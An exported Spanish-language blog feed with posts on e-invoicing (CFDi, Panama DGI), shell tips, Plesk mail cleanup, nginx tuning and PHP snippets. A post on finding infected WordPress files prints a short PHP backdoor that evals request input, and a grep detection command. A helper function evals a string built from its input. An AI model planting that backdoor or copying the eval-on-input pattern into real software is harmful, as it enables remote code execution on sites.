tag:blogger.com,1999:blog-80670861109894143242024-01-21T15:06:51.816-06:00El MashTercompartiendo consejosEl MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.comBlogger407125tag:blogger.com,1999:blog-8067086110989414324.post-78458269487542297862022-01-28T19:09:00.001-06:002022-01-28T19:09:28.376-06:00Ejemplo de factura electrónica 2022 en Panamá (DGI)<h2 style="text-align: left;">Código fuente Facturación 2022 Panamá</h2><div style="text-align: left;">Panamá comenzó el proceso de migración a facturación electrónica, actualmente ya salieron los primeros PAC</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><h3 style="text-align: left;">¿Qué es un PAC?</h3></div><div style="text-align: left;">Un PAC es una compañía que se encarga de validar la correcta redacción de una factura, una vez validado se envía la factura a la DGI</div><div style="text-align: left;"> </div><div style="text-align: left;"><h3 style="text-align: left;">¿Como es el proceso de facturación?</h3><div style="text-align: left;"> La información de la factura tradicional ahora se captura en un archivo XML, este archivo se forma según las reglas de la DGI; este archivo XML se envía al PAC <br /></div><h3 style="text-align: left;"> ¿Como generar el XML de facturación Panamá?</h3></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"><h4 style="text-align: left;">Soy programador o cuento con programador</h4></div><div style="text-align: left;">En este caso te recomiendo utilizar la librería publicada en <a href="http://www.siteck.mx">www.siteck.mx</a> es muy fácil de utilizar</div><div style="text-align: left;"><br /><div style="text-align: left;"><h4 style="text-align: left;">Utilizar una plataforma WEB de facturación</h4><div style="text-align: left;">Contacta a <a href="http://siteck.com.mx">siteck.com.mx</a> para que te guíen<br /></div></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><div style="text-align: left;"><h4 style="text-align: left;">Contar con un software que ya genera la factura de X compañía</h4><div style="text-align: left;">Contacta a tu proveedor favorito</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div></div><div style="text-align: left;"><br /><br /></div></div><div style="text-align: left;"><br /></div><h3 style="text-align: left;"><br /></h3></div><div style="text-align: left;"> <br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><h2 style="text-align: left;"><br /></h2>El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-38304801388397892102021-11-04T00:55:00.003-06:002021-11-04T10:26:20.061-06:00Factura electrónica CFDi 4.0 para el 2022<h1 style="text-align: left;">Cambios, Información y Ejemplos CFDi 4.0 <br /></h1><p> El SAT anuncio la nueva versión de facturación electronica v4.0 para CFDi, esta comienza en operación el 1 de Enero del 2022. <br /></p><p>De enero al ultimo de abril se permitirán las versiones 3.3 y 4.0; pero a partir del primero de mayo unicamente estará disponible la version 4.0, asi que sera importante el actualizar nuestros sistemas de facturación electrónica.</p><h2 style="text-align: left;">Cambios para CFDi 4.0 <br /></h2><p></p><p>Los cambios seran en la estructura del XML, por lo tanto tambien cambiarán elementos de la información, esto implica que habrán actualizaciones mayores<br /></p><p><br /></p><ul style="text-align: left;"><li>Algunos cambios son exportación</li><li>Complemento de pagos 2.0</li><li>Cancelación de documentos <br /></li><li>Regimen del receptor</li><li>Domicilio fiscal del receptor <br /></li><li>Conceptos más detallados</li><li>Información adicional para facturas globales a publico en general<br /></li></ul><h2 style="text-align: left;">Códigos fuente y XML de ejemplo CFDi 4.0</h2><div style="text-align: left;">Hoy 3 de noviembre todavía no hay ejemplos disponibles, pero informarón que pronto tendrán ejemplos y códigos fuente para:</div><div style="text-align: left;"><br /></div><ul><li>PHP 5.3+</li><li>VB</li><li>CSharp</li><li>.net</li><li>WebService</li><li> Java</li><li>entre otras<br /></li></ul><div style="text-align: left;">Estarán disponibles en <a href="https://multifacturas.com">multifacturas.com</a> <br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Mantendré actualizado esta nota con las novedades que publiquen<br /></div><div style="text-align: left;"><br /></div><p><br /></p><p><br /></p>El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com0México23.634501 -102.552784-5.9387081491953744 -137.709034 53.207710149195378 -67.396534tag:blogger.com,1999:blog-8067086110989414324.post-36227168737659704442020-11-08T15:49:00.006-06:002020-11-08T15:49:47.473-06:00Como contar las lineas de codigo desde shell<p> El siguiente comando te consulta en shell cuantas lineas de código cuenta el proyecto<br /></p><p> </p><p><span style="font-family: courier;"># find . | xargs wc -l </span></p><p><br /></p><p>obteniendo un resultado como el siguiente:</p><p>(fragmento del final del resultado)<br /></p><p><span style="font-size: x-small;"><span style="font-family: courier;"> 99 ./me/masheditor/servicios/dbme_clasificacion_productos_descuentos/dbme_clasificacion_productos_descuentos.php<br /> 133 ./me/masheditor/servicios/admin_administradores/admin_administradores.php<br /> 64 ./me/masheditor/servicios/dbme_vendedores/lib.php<br /> 19 ./me/masheditor/servicios/dbme_vendedores/dbme_vendedores.php<br /> 43 ./me/masheditor/servicios/dbme_talleres/lib.php<br /> 22 ./me/masheditor/servicios/dbme_talleres/dbme_talleres.php<br /> 45 ./me/masheditor/servicios/dbme_procesos_formulas/lib.php<br /> 23 ./me/masheditor/servicios/dbme_procesos_formulas/dbme_procesos_formulas.php<br /> 51 ./me/masheditor/servicios/bd_general/lang/es-mx.php<br /> 390 ./me/masheditor/servicios/bd_general/bd_general.php<br /> 40 ./me/masheditor/servicios/dbme_eventos_prioridades/lib.php<br /> 18 ./me/masheditor/servicios/dbme_eventos_prioridades/dbme_eventos_prioridades.php<br /> 21 ./me/masheditor/servicios/dbme_movimientos_tipo/dbme_movimientos_tipo.php<br /> 52 ./me/masheditor/servicios/dbme_movimientos_tipo/lib.php<br /> 129 ./me/masheditor/servicios/dbme_plantillas_reglas_ejecuta_cron/dbme_plantillas_reglas_ejecuta_cron.php<br /> 34 ./me/masheditor/servicios/dbme_talleres_etapas/lib.php<br /> 20 ./me/masheditor/servicios/dbme_talleres_etapas/dbme_talleres_etapas.php<br /> 456 ./me/masheditor/configuracion.php<br /> 6301 ./me/masheditor/masheditor.php<br /> 12 ./me/masheditor/libexternos/demo/_ini.php<br /> 9 ./me/masheditor/libexternos/Fajax/_ini.php<br /> 14 ./me/masheditor/libexternos/jquery_ui/_ini.php<br /> 12 ./me/masheditor/libexternos/jquery_tools/_ini.php<br /> 46 ./me/masheditor/libexternos/fValidator/_ini.php<br /> 9 ./me/masheditor/libexternos/mootools/_ini.php<br /> 9 ./me/masheditor/libexternos/prototype/_ini.php<br /> 22 ./me/masheditor/libexternos/jquery/_ini.php<br /> 14 ./me/masheditor/libexternos/scriptaculous/_ini.php<br /> 74 ./me/css.php<br /> 65 ./cancelar_analisis.php<br /> 462478 total</span></span><br /><br /></p>El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-21822688671310726932020-08-18T08:30:00.001-05:002020-08-18T08:30:23.794-05:00Detectar archivos infectados en wordpress y páginas web<p> Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress<br /></p><p><br /></p><p>Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)<br /></p><p> </p><p> </p><p style="text-align: left;"><span style="font-size: medium;"><span style="font-family: courier;"> grep -R 'eval(' <span style="color: #2b00fe;">/home3/m*</span>/public_html/* | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js' | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE(' | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR(' > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt <span style="color: red;">tucorreo@algo.com</span></span></span><br /><br /><br /><br /><br /><br /><span style="color: red;">rojo remplazar</span><br /><span style="color: #2b00fe;">azul remplazar con instrucciones</span><br /><br /><br /><br /><br /><br /><span style="color: #2b00fe;">instrucciones azul</span><br /><br />/home /home2 /home3 es la unidad de disco a escanear<br /><br />en el ejemplo esta<br />/home3/m* = disco 3 todos los usuarios cpanel que comiencen con M<br /><br />/home3/medix = disco 3 escanear al usuario medix<br /><br />/home3/* = disco 3 todos los usuarios<br /><br />/home2/* = disco 2 todos los usuarios<br /><br />/home/* = disco 1 todos los usuarios<br /><br />etc...<br /><br /><br /><br /></p><h3 style="text-align: left;">que hace el comando</h3><p style="text-align: left;">Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%; PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.<br /><br />luego perfecciono el comando con otros tipos de ataques o amenazas<br /><br /><br />Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos<br /><br /></p><h3 style="text-align: left;">Típicos archivos maliciosos</h3><p style="text-align: left;"><br /><br /></p><h4 style="text-align: left;">caracteres raros</h4><p style="text-align: left;"><br />tiendadebuceo/history.php:<?php $qV="stop_";$s20=strtoupper(<span style="color: #800180;">$qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$</span>s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php<br /><br /><br /></p><h4 style="text-align: left;">una cadena de muchas letras y numeros acompañados de un eval</h4><p style="text-align: left;"><br /><br />eval(base64decode("<span style="color: #800180;">mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFN</span>BIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....<br /><br /><br /><br /></p><p> </p><p> </p><p> <br /></p>El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-64492144537013859342020-05-18T08:47:00.000-05:002020-05-18T08:47:51.906-05:00Vaciar carpeta spam y trash en Plesk + dovecot<h2>
Plesk + Dovecot</h2>
Este ejemplo es para eliminar correos con 2 semanas de antigüedad (<b>2w</b>) desde shell<br />
<br />
Desde shell ejecutar<br />
<br />
<br />
<span style="font-family: "Courier New", Courier, monospace;"># doveadm expunge -u <span style="color: red;">micuenta@midominio.com</span> mailbox INBOX.Spam before <b>2w</b>;<br /># doveadm expunge -u <span style="color: red;">micuenta@midominio.com</span> mailbox INBOX.Trash before <b>2w</b>;</span><br />
<br />
<br />
o para aplicarlo a todos los correos en un servidor plesk<br />
<br />
<br />
<span style="font-family: "Courier New", Courier, monospace;">for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Spam before 2w; done<br />for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Trash before 2w; done</span><br />
<br />
<br />
<br />
este segundo lo pueden añadir a cron<br />
<br />
<br />
<br />El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-63619026547292800342020-05-13T19:45:00.001-05:002020-05-13T19:45:30.620-05:00Optimizar WordPress + Plesk + nginx <br />
<br />
<ol>
<li>Activar en plesk nginx</li>
<li>En plesk ir al dominio</li>
<li>ir a Configuración de Apache y nginx </li>
<li>desactivar
<label for="nginx-nginxProxyMode">Modo proxy </label> </li>
<li>añadir en Directivas adicionales de nginx el siguiente codigo </li>
</ol>
<br />
<br />
<br />
<br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">if (!-e $request_filename) {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">set $test P;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">if ($uri !~ ^/(plesk-stat|webstat|webstat-ssl|ftpstat|anon_ftpstat|awstats-icon|internal-nginx-static-location)) {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">set $test "${test}C";</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">if ($test = PC) {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">rewrite ^/(.*)$ /index.php?$1;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"><br /></span></span>
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"># GZIP Compression</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip on;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_disable "MSIE [1-6]\\.(?!.*SV1)";</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_min_length 1100;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_buffers 4 32k;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_proxied any;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_comp_level 9;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/bmp image/svg+xml;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">gzip_vary on;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"><br /></span></span>
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"># NGINX Caching</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~* \.(?:ico|css|js|gif|jpe?g|png|svg|woff)$ {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> expires 30d;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> add_header Cache-Control "public";</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> log_not_found off;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"><br /></span></span>
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~* \.(jpg|jpeg|gif|png)$ {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> expires 365d;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> log_not_found off;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"><br /></span></span>
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~* \.(pdf|css|html|js|swf)$ {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> expires 2d;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> log_not_found off;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"><br /></span></span>
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~ \.css {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> add_header Content-Type text/css;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~ \.js {</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"> add_header Content-Type application/x-javascript;</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">}</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"><br /></span></span>
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;"># SECURITY</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~* wp-config.php { deny all; }</span></span><br />
<span style="font-family: "Courier New", Courier, monospace;"><span style="font-size: x-small;">location ~* "^/wp-content/(?!plugins/).*\.php" { deny all; }</span></span><br />
<br />
<br />
<br />
<br />
Ahora ir a Configuración de PHP<br />
<br />
memory_limit = 200M<br />
max_execution_time = 15<br />
post_max_size = 16M<br />
upload_max_filesize =16M<br />
opcache.enable = on<br />
<br />
<br />
Y listo, Wordpress volará<br />
<br />
<br />
No olvides complementar con buenos caches de WordPress, de preferencia que ulticen APC y MemCache para mejorar su desempeño<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com3tag:blogger.com,1999:blog-8067086110989414324.post-30081439360274795192019-05-17T13:57:00.003-05:002019-05-20T10:23:03.234-05:00funcion convertir cadena print_r a arreglo<br />
<h2>
Función print_r a arreglo </h2>
<br />
Les comparto esta función que permite pasar de una cadena generada de print_r hacia un arreglo<br />
<br />
<br />
modo de uso<br />
<br />
<br />
<span style="font-size: xx-small;"><span style="font-family: "courier new" , "courier" , monospace;"><span style="font-size: x-small;">$cadena="Array</span><br />(<br /> [PAC] => Array<br /> (<br /> [usuario] => DEMO700101XXX<br /> [pass] => DEMO700101XXX<br /> [produccion] => NO<br /> )<br /><br /> [conf] => Array<br /> (<br /> [cer] => ../../certificados/lan7008173r5.cer.pem<br /> [key] => ../../certificados/lan7008173r5.key.pem<br /> [pass] => 12345678a<br /> )<br /><br /> [version_cfdi] => 3.3<br /> [cfdi] => C:\SDK2\timbrados\ejemplo_arrendamiento.xml<br /> [xml_debug] => C:\SDK2\timbrados\debug_ejemplo_arrendamiento.xml<br /> [php_openssl] => SI<br /> [factura] => Array<br /> (<br /> [serie] => A<br /> [folio] => 100<br /> [fecha_expedicion] => 2019-05-10T09:10:19<br /> [metodo_pago] => PUE<br /> [forma_pago] => 01<br /> [tipocomprobante] => I<br /> [moneda] => MXN<br /> [tipocambio] => 1.0<br /> [LugarExpedicion] => 27000<br /> [RegimenFiscal] => 601<br /> [subtotal] => 1000<br /> [total] => 840<br /> )<br /><br /> [emisor] => Array<br /> (<br /> [rfc] => LAN7008173R5<br /> [nombre] => ACCEM SERVICIOS EMPRESARIALES SC<br /> )<br /><br /> [receptor] => Array<br /> (<br /> [rfc] => SOHM7509289MA<br /> [nombre] => MIGUEL ANGEL SOSA HERNANDEZ<br /> [UsoCFDI] => P01<br /> )<br /><br /> [conceptos] => Array<br /> (<br /> [0] => Array<br /> (<br /> [ClaveProdServ] => 84111506<br /> [cantidad] => 1<br /> [unidad] => NO APLICA<br /> [ClaveUnidad] => ACT<br /> [descripcion] => RENTA DE OFICINA MAYO 2014<br /> [valorunitario] => 1000.00<br /> [importe] => 1000.00<br /> [CuentaPredial] => Array<br /> (<br /> [Numero] => 12345678<br /> )<br /><br /> [Impuestos] => Array<br /> (<br /> [Traslados] => Array<br /> (<br /> [0] => Array<br /> (<br /> [Base] => 1000.00<br /> [Impuesto] => 002<br /> [TasaOCuota] => 0.160000<br /> [Importe] => 160.00<br /> [TipoFactor] => Tasa<br /> )<br /><br /> )<br /><br /> [Retenciones] => Array<br /> (<br /> [0] => Array<br /> (<br /> [Impuesto] => 002<br /> [Importe] => 160.00<br /> [Base] => 1000.00<br /> [TasaOCuota] => 0.160000<br /> [TipoFactor] => Tasa<br /> )<br /><br /> [1] => Array<br /> (<br /> [Impuesto] => 001<br /> [Importe] => 160.00<br /> [Base] => 1000.00<br /> [TasaOCuota] => 0.160000<br /> [TipoFactor] => Tasa<br /> )<br /><br /> )<br /><br /> )<br /><br /> )<br /><br /> )<br /><br /> [impuestos] => Array<br /> (<br /> [TotalImpuestosTrasladados] => 160.00<br /> [TotalImpuestosRetenidos] => 320.00<br /> [translados] => Array<br /> (<br /> [0] => Array<br /> (<br /> [Impuesto] => 002<br /> [TasaOCuota] => 0.160000<br /> [Importe] => 160.00<br /> [TipoFactor] => Tasa<br /> )<br /><br /> )<br /><br /> [retenciones] => Array<br /> (<br /> [0] => Array<br /> (<br /> [Impuesto] => 002<br /> [importe] => 160.00<br /> )<br /><br /> [1] => Array<br /> (<br /> [impuesto] => 001<br /> [importe] => 160.00<br /> )<br /><br /> )<br /><br /> )<br /><br />)";</span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="font-size: x-small;">$arreglo=print_r_reverza($cadena);</span></span><br />
<br />
y listo....<br />
<br />
<b>IMPORTANTE: esta primer version no es compatible si el valor tiene comillas, parentesis, palabra array , llaves o [ ]</b><br />
<br />
<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="font-size: x-small;"><br />function print_r_reverza($cadena)<br />{<br /> $cadena=str_replace("\r",'',$cadena);<br /> $renglones=explode("\n",$cadena);<br /> $linea_con_coma=true;<br /> $cadena_final='$datos=';<br /> foreach($renglones AS $renglon)<br /> {<br /> if(strlen($renglon)<1)<br /> continue;<br /> <br /> if($renglon=='(' OR $renglon==')' OR $renglon=='Array' )<br /> {<br /> $linea_con_coma=false; <br /> }<br /> else<br /> {<br /> $linea_con_coma=true;<br /> }<br /> <br /> <br /> if(strpos($renglon,'=>'))<br /> {<br /> $renglon=formato_renglon($renglon);<br /> <br /> <br /> <br /> }<br /> else<br /> {<br /> <br /> $renglon=str_replace('"Array",','array ',$renglon);<br /> $renglon=str_replace('Array','array',$renglon);<br /> <br /> // echo "$renglon<br/>"; <br /> }<br /> <br /> if($linea_con_coma==true)<br /> {<br /> $cadena_final.="$renglon\",";<br /> }<br /> else<br /> {<br /> $cadena_final.="$renglon\n";<br /> }<br /> <br /> $cadena_final=str_replace(',)',')',$cadena_final);<br /> <br /> }<br /> <br /> <br /> $cadena_final="$cadena_final;";<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> $cadena_final=str_replace(' ',' ',$cadena_final);<br /> <br /> $cadena_final=str_replace('"Array",','array ',$cadena_final);<br /> $cadena_final=str_replace('"Array,','array ',$cadena_final);<br /> <br /> $cadena_final=str_replace('(",','(',$cadena_final);<br /> $cadena_final=str_replace(', )"',')',$cadena_final);<br /> eval($cadena_final);<br /><br /> return $datos; <br />}<br /><br /><br /><br />function formato_renglon($renglon)<br />{<br /><br /> $renglon=str_replace('=> ','=> "',$renglon);<br /> $renglon=str_replace('[','"',$renglon);<br /> $renglon=str_replace(']','"',$renglon);<br /><br /> return $renglon;<br />}</span></span><br />
<br />El MashTerhttp://www.blogger.com/profile/17250492402862702089noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-72287272599922971812018-12-11T12:01:00.000-06:002018-12-11T12:01:18.680-06:00Codigos de respuesta de cancelacion sat 2018Codigos de respuesta de cancelacion sat 2018<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0ALcjSEwOVgYtZMFzeq_eUSf7pb-3j9L2yM2IO6KO4xw8tR2ehX9D5X2Q453acQH9G1EBLrIVND3-zjPXGO9ttJBxcibea38MhGKAHJb04dkVj_LpTtMGr_qIM9eFQhvyQBupwhyRIiA/s1600/CODIGOS+CANCELACION.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="614" data-original-width="776" height="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0ALcjSEwOVgYtZMFzeq_eUSf7pb-3j9L2yM2IO6KO4xw8tR2ehX9D5X2Q453acQH9G1EBLrIVND3-zjPXGO9ttJBxcibea38MhGKAHJb04dkVj_LpTtMGr_qIM9eFQhvyQBupwhyRIiA/s400/CODIGOS+CANCELACION.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://blog.mashter.com/2018/11/ejemplo-cancelar-factura-cfdi-en-php.html">Ejemplo cancelacion cfdi 2018 en php</a></div>
<div class="separator" style="clear: both; text-align: left;">
Ejemplo cancelacion cfdi 2018 en java</div>
<div class="separator" style="clear: both; text-align: left;">
Ejemplo cancelacion cfdi 2018 en c sharp</div>
<div class="separator" style="clear: both; text-align: left;">
Ejemplo cancelacion cfdi 2018 en windows</div>
<div class="separator" style="clear: both; text-align: left;">
Mas informacion y ejemplos de cancelacion en <a href="htttp://multifacturas.com">htttp://multifacturas.com</a></div>
<br />Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-84929323570490151572018-12-10T12:39:00.000-06:002018-12-10T12:39:02.809-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Complemento Turista Extranjero en phpFacturacion electronica SAT Ejemplo crear xml cfdi Complemento Turista Extranjero en php<br />
<br />
// Se especifica la zona horaria<br />
date_default_timezone_set('America/Mexico_City');<br />
<br />
// Se incluye el SDK<br />
require_once '../../sdk2.php';<br />
<br />
// Se especifica la version de CFDi 3.3<br />
$datos['version_cfdi'] = '3.3';<br />
<br />
// SE ESPECIFICA EL COMPLEMENTO<br />
$datos['complemento'] = 'tpe10';<br />
<br />
// Ruta del XML Timbrado<br />
$datos['cfdi']='../../timbrados/ejemplo_factura_turistape10.xml';<br />
<br />
// Ruta del XML de Debug<br />
$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_turistape10.xml';<br />
<br />
// Credenciales de Timbrado<br />
$datos['PAC']['usuario'] = 'DEMO700101XXX';<br />
$datos['PAC']['pass'] = 'DEMO700101XXX';<br />
$datos['PAC']['produccion'] = 'NO';<br />
<br />
// Rutas y clave de los CSD<br />
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';<br />
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';<br />
$datos['conf']['pass'] = '12345678a';<br />
<br />
// Datos de la Factura<br />
$datos['factura']['condicionesDePago'] = 'CONDICIONES';<br />
$datos['factura']['descuento'] = '0.00';<br />
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);<br />
$datos['factura']['folio'] = '100';<br />
$datos['factura']['forma_pago'] = '01';<br />
$datos['factura']['LugarExpedicion'] = '45079';<br />
$datos['factura']['metodo_pago'] = 'PUE';<br />
$datos['factura']['moneda'] = 'MXN';<br />
$datos['factura']['serie'] = 'A';<br />
$datos['factura']['subtotal'] = '100.00';<br />
$datos['factura']['tipocambio'] = '1';<br />
$datos['factura']['tipocomprobante'] = 'I';<br />
$datos['factura']['total'] = '100.00';<br />
$datos['factura']['RegimenFiscal'] = '601';<br />
<br />
// Datos del Emisor<br />
$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA<br />
$datos['emisor']['nombre'] = 'CINDEMEX SA DE CV'; // EMPRESA DE PRUEBA<br />
<br />
// Datos del Receptor<br />
$datos['receptor']['rfc'] = 'XAXX010101000';<br />
$datos['receptor']['nombre'] = 'Publico en General';<br />
$datos['receptor']['UsoCFDI'] = 'G01';<br />
<br />
// Se agregan los conceptos<br />
for ($i = 1; $i <= 1; $i++)<br />
{<br />
$datos['conceptos'][$i]['cantidad'] = '1.00';<br />
$datos['conceptos'][$i]['unidad'] = 'PZ';<br />
$datos['conceptos'][$i]['ID'] = "COD$i";<br />
$datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";<br />
$datos['conceptos'][$i]['valorunitario'] = '100.00';<br />
$datos['conceptos'][$i]['importe'] = '100.00';<br />
$datos['conceptos'][$i]['ClaveProdServ'] = '01010101';<br />
$datos['conceptos'][$i]['ClaveUnidad'] = 'C81';<br />
}<br />
<br />
// Se agregan los Impuestos<br />
$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';<br />
$datos['impuestos']['translados'][0]['impuesto'] = '003';<br />
$datos['impuestos']['translados'][0]['tasa'] = '0.160000';<br />
$datos['impuestos']['translados'][0]['importe'] = '0.00';<br />
$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';<br />
<br />
// Complemento Turista Extrangero<br />
$datos['tpe10']['fechadeTransito']='2017-01-01T00:00:00';<br />
$datos['tpe10']['tipoTransito']='Arribo';<br />
<br />
$datos['tpe10']['datosTransito']['Via']='Aérea';<br />
$datos['tpe10']['datosTransito']['TipoId']='05-04-2017';<br />
$datos['tpe10']['datosTransito']['NumeroId']='gaar930830mcl';<br />
$datos['tpe10']['datosTransito']['Nacionalidad']='8';<br />
$datos['tpe10']['datosTransito']['EmpresaTransporte']='4';<br />
$datos['tpe10']['datosTransito']['IdTransporte']='oil';<br />
<br />
// Se ejecuta el SDK<br />
$res= mf_genera_cfdi($datos);<br />
<br />
<br />
/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////<br />
<br />
echo "<h1>Respuesta Generar XML y Timbrado</h1>";<br />
foreach($res AS $variable=>$valor)<br />
{<br />
$valor=htmlentities($valor);<br />
$valor=str_replace('&lt;br/&gt;','<br/>',$valor);<br />
echo "<b>[$variable]=</b>$valor<hr>";<br />
}<br />
<br />
